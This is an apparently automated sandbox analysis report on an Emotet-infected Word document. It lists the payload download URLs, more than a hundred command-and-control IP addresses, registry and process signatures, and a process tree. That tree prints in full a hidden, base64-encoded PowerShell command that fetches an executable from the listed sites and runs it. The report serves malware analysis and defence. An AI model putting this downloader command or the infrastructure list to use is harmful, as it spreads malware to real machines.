Analysis
-
max time kernel
127s -
resource
win10v191014 -
submitted
20/12/2019, 15:53
Task
task1
Sample
Docs_0198cd350b8be7a6eac9439badbf6ee6.17.doc
Resource
win7v191014
General
Malware Config
Extracted
http://dejavugroup.com/wp-content/JTjHLbr/
http://dev7.developmentviewer.com/wp-admin/SYSQOx/
http://krishna-graphics.com/wp-admin/11x12xd-nobh27two-82927918/
http://laboratoriosanfrancisco1988.com/9rlkyc/Ccvvezsv/
http://lanyuewp.com/electrician/ig9eu0g-4q1oml1qc1-749166/
Extracted
emotet
98.178.241.106:80
190.171.153.139:80
179.5.118.12:8080
45.79.75.232:8080
124.150.175.133:80
164.68.115.146:8080
5.189.148.98:8080
46.105.128.215:8080
67.254.196.78:443
95.216.207.86:7080
181.46.176.38:80
98.15.140.226:80
217.12.70.226:80
115.179.91.58:80
41.190.148.90:80
162.144.46.90:8080
211.218.105.101:80
212.129.14.27:8080
120.51.83.89:443
200.41.121.69:443
81.82.247.216:80
138.197.140.163:8080
190.5.162.204:80
85.109.190.235:443
216.75.37.196:8080
41.77.74.214:443
86.6.123.109:80
203.160.173.202:80
211.48.165.9:443
158.69.167.246:8080
46.17.6.116:8080
24.27.122.202:80
177.103.240.93:80
110.142.161.90:80
108.184.9.44:80
46.105.131.68:8080
211.42.204.154:80
37.59.24.25:8080
89.215.225.15:80
23.253.207.142:8080
190.38.252.45:443
50.116.78.109:8080
94.203.236.122:80
86.70.224.211:80
174.57.150.13:8080
37.70.131.107:80
156.155.163.232:80
212.112.113.235:80
85.235.219.74:80
51.77.113.97:8080
78.46.87.133:8080
200.71.112.158:53
201.196.15.79:990
190.161.67.63:80
112.186.195.176:80
82.146.55.23:7080
78.187.204.70:80
188.230.134.205:80
189.61.200.9:443
195.250.143.182:80
37.46.129.215:8080
185.244.167.25:443
58.93.151.148:80
66.229.161.86:443
100.38.11.243:80
92.16.222.156:80
175.127.140.68:80
201.183.251.100:80
59.158.164.66:443
175.103.239.50:80
203.153.216.178:7080
154.120.227.190:443
124.150.175.129:8080
51.38.134.203:8080
72.27.212.209:8080
210.224.65.117:80
128.92.54.20:80
91.117.31.181:80
69.30.205.162:7080
142.93.87.198:8080
78.186.102.195:80
210.171.146.118:80
177.144.130.105:443
178.134.1.238:80
189.225.211.171:443
190.93.210.113:80
220.78.29.88:80
165.100.148.200:8080
72.51.153.27:80
95.216.212.157:8080
191.100.24.201:50000
187.250.92.82:80
58.185.224.18:80
217.181.139.237:443
83.156.88.159:80
221.154.59.110:80
82.79.244.92:80
197.94.32.129:8080
181.167.35.84:80
42.51.192.231:8080
113.52.135.33:7080
190.17.94.108:443
192.210.217.94:8080
190.47.236.83:80
176.58.93.123:80
95.9.217.200:8080
139.59.12.63:8080
96.234.38.186:8080
82.165.15.188:8080
193.33.38.208:443
88.247.26.78:80
87.9.181.247:80
86.98.157.3:80
192.161.190.171:8080
110.2.118.164:80
95.255.140.89:443
41.111.190.94:80
163.172.97.112:8080
186.84.173.136:8080
210.111.160.220:80
182.176.116.139:995
172.104.70.207:8080
24.28.178.71:80
190.101.87.170:80
192.241.220.183:8080
91.117.131.122:80
69.14.208.221:80
Signatures
-
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4988 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4732 Powershell.exe 760 smoserial.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4732 wrote to memory of 4356 4732 Powershell.exe 80 PID 4356 wrote to memory of 4284 4356 717.exe 81 PID 432 wrote to memory of 760 432 smoserial.exe 87 -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 4284 717.exe 760 smoserial.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4988 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4732 5084 Powershell.exe 73 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4732 Powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 4356 717.exe 4284 717.exe 432 smoserial.exe 760 smoserial.exe -
Drops file in System32 directory 6 IoCs
description ioc Process File renamed C:\Users\Admin\717.exe => C:\Windows\SysWOW64\smoserial.exe 717.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat smoserial.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 smoserial.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE smoserial.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies smoserial.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 smoserial.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4988 WINWORD.EXE 4356 717.exe 4284 717.exe 432 smoserial.exe 760 smoserial.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_0198cd350b8be7a6eac9439badbf6ee6.17.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4988
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABFAGsAZgBzAG4AZgBjAHEAbABlAHEAbgB0AD0AJwBGAHUAegBzAHYAZgBmAHUAdwBwACcAOwAkAE0AZABzAGMAcQBqAHMAZQAgAD0AIAAnADcAMQA3ACcAOwAkAEoAYwBoAGkAcgBlAGIAeABjAGgAbgBoAG8APQAnAE0AawB6AGoAdQBzAGsAbwB0AG0AJwA7ACQASQBjAGYAaQBpAHoAYQBuAHEAegB4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABNAGQAcwBjAHEAagBzAGUAKwAnAC4AZQB4AGUAJwA7ACQAWQBwAGoAYwB1AHYAZgBoAGoAeABpAHYAPQAnAE0AZABtAG0AawBoAHcAdABoAGwAcABpAHAAJwA7ACQASAB3AGQAdABqAGgAYwBxAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAEMATABJAEUATgBUADsAJABFAHcAdwBjAHQAbwB1AHoAPQAnAGgAdAB0AHAAOgAvAC8AZABlAGoAYQB2AHUAZwByAG8AdQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgBUAGoASABMAGIAcgAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgA3AC4AZABlAHYAZQBsAG8AcABtAGUAbgB0AHYAaQBlAHcAZQByAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAFkAUwBRAE8AeAAvACoAaAB0AHQAcAA6AC8ALwBrAHIAaQBzAGgAbgBhAC0AZwByAGEAcABoAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxADEAeAAxADIAeABkAC0AbgBvAGIAaAAyADcAdAB3AG8ALQA4ADIAOQAyADcAOQAxADgALwAqAGgAdAB0AHAAOgAvAC8AbABhAGIAbwByAGEAdABvAHIAaQBvAHMAYQBuAGYAcgBhAG4AYwBpAHMAYwBvADEAOQA4ADgALgBjAG8AbQAvADkAcgBsAGsAeQBjAC8AQwBjAHYAdgBlAHoAcwB2AC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHkAdQBlAHcAcAAuAGMAbwBtAC8AZQBsAGUAYwB0AHIAaQBjAGkAYQBuAC8AaQBnADkAZQB1ADAAZwAtADQAcQAxAG8AbQBsADEAcQBjADEALQA3ADQAOQAxADYANgAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABOAG4AdgB3AG0AYwBoAHQAZQBzAG0AaQBjAD0AJwBDAGQAdQB5AGYAaABiAGgAYgBuAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAYwBsAHgAYgB3AGMAegB6AGwAIABpAG4AIAAkAEUAdwB3AGMAdABvAHUAegApAHsAdAByAHkAewAkAEgAdwBkAHQAagBoAGMAcQAuACIARABvAGAAVwBuAEwAbwBBAGAARABgAEYAaQBsAEUAIgAoACQARgBjAGwAeABiAHcAYwB6AHoAbAAsACAAJABJAGMAZgBpAGkAegBhAG4AcQB6AHgAKQA7ACQAWABuAGwAZgBhAGkAdgBqAG0APQAnAFQAZQBrAGgAdAB5AHoAdQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEkAYwBmAGkAaQB6AGEAbgBxAHoAeAApAC4AIgBMAGUAbgBgAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYQBgAFIAVAAiACgAJABJAGMAZgBpAGkAegBhAG4AcQB6AHgAKQA7ACQATQBvAHEAegByAG0AZwB1AGoAcQA9ACcAVgByAGgAZwBoAHQAZwBmAHEAZQBzAGUAYQAnADsAYgByAGUAYQBrADsAJABOAGQAbwBiAG4AcABvAGEAeABvAGIAcgA9ACcAUwBwAGwAdwBlAG8AcQBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAawBuAHMAaAB3AG0AeQB0AHMAdABxAD0AJwBKAGsAZwBxAGoAcwBmAGMAeABjAHkAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4732 -
C:\Users\Admin\717.exe"C:\Users\Admin\717.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4356 -
C:\Users\Admin\717.exe--e535cf5b3⤵
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:4284
-
-
-
C:\Windows\SysWOW64\smoserial.exe"C:\Windows\SysWOW64\smoserial.exe"1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:432 -
C:\Windows\SysWOW64\smoserial.exe--1566635f2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:760
-